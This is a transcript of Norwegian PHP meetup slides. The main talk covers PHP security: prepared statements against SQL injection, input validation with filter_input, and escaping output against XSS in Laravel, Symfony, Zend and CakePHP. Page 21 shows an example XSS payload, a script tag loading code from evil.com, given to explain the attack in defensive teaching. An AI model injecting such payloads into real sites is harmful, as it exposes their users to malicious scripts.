kristiansandphp meetup 5

29
Velkommen til 5. samling

Upload: morten-bergset

Post on 12-Apr-2017

177 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: KristiansandPHP meetup 5

Velkommen til 5. samling

Page 2: KristiansandPHP meetup 5

Agenda

• 18:00 Velkommen, Morten • 18:10 PHP sikkerhet, Morten • 18:20 Drupal programmering, Kevin

• 19:00 Pizza

• 19:15 My editor: Atom, Dave • 19:20 Animasjoner med JavaScript, Yngve

2

Page 3: KristiansandPHP meetup 5

3

Page 4: KristiansandPHP meetup 5

Det skjer mye i PHP miljøet for tiden, det er gøy!

• 1. oktober kom PHP7 RC4 • PHPUnit 5.0, stable release 2. oktober, støtter

bare aktive PHP versjoner (dvs 5.6), så de av oss som evt er på eldre versjon av PHP må ta en vurdering…

• Composer kom med ny versjon i går for PHPUnit 5 • Symfony og Zend har sluppet ny versjon siden sist

(Laravel kom med ny versjon i august) • CodeIgniter er ikke død, ny versjon i august • Og nærmeste PHP konferanse er i London:

PHP UK Conference 2016, 18-19. februar4

Page 5: KristiansandPHP meetup 5

5

6 PHP bøker hos O`Reilly

siden i sommer :-)

Page 6: KristiansandPHP meetup 5

Tips til bøker

6

Page 7: KristiansandPHP meetup 5

PHP SIKKERHET- Morten Bergset

Page 8: KristiansandPHP meetup 5

Input - trust no one!

• Først og fremst: hindre SQL injection

• Og ca like viktig: sikre god/riktig input til vår kode

Page 9: KristiansandPHP meetup 5

SQL injection

• Det viktigste og beste vi kan gjøre, er prepared statements (PDO, MySQLi eller OCI8)

Page 10: KristiansandPHP meetup 5

Validering er litt mer styr…

Page 11: KristiansandPHP meetup 5

Rammeverk er kjekt…

Page 12: KristiansandPHP meetup 5

Laravel har validator (i egen klasse eller inkludert i store-metoden)

Page 13: KristiansandPHP meetup 5

Profundo WebAdmin

• I Profundo har vi har et pattern-array med regex som automatisk sjekkes lagring i databasen

Page 14: KristiansandPHP meetup 5

Bruker du rammeverk?

Page 15: KristiansandPHP meetup 5

• Caste til int: $id = (int) $_GET(‘id’);

• If-setningerif(isset($_GET[‘price’]) $price = $_GET[‘price’]; if($price < 100) $pris = 100;

Metoder for tall

NO!

Page 16: KristiansandPHP meetup 5

Metoder for strenger

• Strings med default verdi $title = (isset($_GET[‘title’])) ? :’Lorem Ipsum’;

• String max lengde$title = substr($title,0,20);

NO!

Page 17: KristiansandPHP meetup 5

Vi kan spare oss for noen if-setninger ved å bruke filter_input() eller filter_var()

// ingen html kode i fornavn $fornavn = filter_input(INPUT_GET,’fornavn',FILTER_SANITIZE_STRING); // antall blir 5 om ikke oppgitt, eller ugyldig (må være mellom 0 og 9) $antall = filter_input(INPUT_GET,'antall',FILTER_VALIDATE_INT,['options'=>['default'=>5, 'min_range'=>0, ‘max_range'=>9]]); // epost blir en tom string, eller en gyldig epost-adresse$epost = filter_input(INPUT_POST,'epost',FILTER_VALIDATE_EMAIL);

Page 18: KristiansandPHP meetup 5

Metode flagg

• Validating, determine if the data is in proper form FILTER_VALIDATE_INTFILTER_VALIDATE_EMAIL FILTER_VALIDATE_URL

• Sanitizing, remove any illegal character FILTER_SANITIZE_STRINGFILTER_SANITIZE_NUMBER_INTSjekk php.net for flere :-)

Page 19: KristiansandPHP meetup 5

Sanitize and validate

Page 20: KristiansandPHP meetup 5

Output - XSS (Cross Site Scripting)

• Passe på brukerene våre

• Escape output fra database, webservice, fil osv.

Page 21: KristiansandPHP meetup 5

Hva er XSS?

• At man inkludere JavaScript e.l. via url eller tidligere skjema.

• Eks: man oppgir navnet i et skjema til å være Ole ‘><script src=‘http://evil.com/mean.js'></scipt>Dette er ikke databasemessig farlig, men om andre ser på rapport i nettleseren så kan det kjøres…

Page 22: KristiansandPHP meetup 5

Rammeverk er kjekt…

Page 23: KristiansandPHP meetup 5

Symfony & Laravel

• Håndtert for deg automatisk i Twig/Blade:

{{ $var }}

Page 24: KristiansandPHP meetup 5

Zend

<?= $this->escape($val['author']) ?>

Page 25: KristiansandPHP meetup 5

CakePHP

• Ikke automatisk escaping, men med en kjekk liten hjelpefunksjon h(), er det ingen unnskyldning:

<?= h($user->title); ?>

Page 26: KristiansandPHP meetup 5

Bruker du rammeverk?

Page 27: KristiansandPHP meetup 5

Plain PHP

<?=htmlspecialchars($string)?>

istedet for

<?= $string ?>

Page 28: KristiansandPHP meetup 5

Mer kontroll

echo htmlspecialchars($string,ENT_QUOTES,’UTF-8');

Page 29: KristiansandPHP meetup 5